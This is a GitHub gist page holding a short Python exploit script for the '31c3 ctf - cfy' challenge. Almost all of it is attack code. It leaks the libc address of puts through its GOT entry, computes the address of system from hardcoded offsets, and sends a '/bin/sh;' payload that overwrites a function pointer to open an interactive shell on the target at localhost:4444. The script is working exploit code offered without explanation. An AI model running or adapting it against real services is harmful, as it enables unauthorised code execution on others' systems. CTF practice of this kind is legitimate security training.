Skip to content

Instantly share code, notes, and snippets.

@tsunpoko
Created September 22, 2016 03:24
Show Gist options
  • Save tsunpoko/b47201e509dc1760a2814662e3eecd94 to your computer and use it in GitHub Desktop.
Save tsunpoko/b47201e509dc1760a2814662e3eecd94 to your computer and use it in GitHub Desktop.
31c3 ctf - cfy
from No___Op import *
target = 'localhost:4444'
c = Pwning( target )
offset = {
'__libc_start_main': 0x21e50,
'system': 0x46590,
'/bin/sh': 0x17c8c3, # str
'puts': 0x00006fd60,
}
got = {
'puts': 0x601018
}
c.sendall('2')
c.sendall(p64(got['puts']))
c.read_until('hex: 0x')
leak_libc = int(c.recv(12), 16)
libc_system = leak_libc - offset['puts'] + offset['system']
c.sendall('7')
info('libc_system: ' + hex(libc_system))
payload = '/bin/sh;'
payload += 'mazai!?w'
payload += p64(libc_system)
c.sendall(payload)
c.shell()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment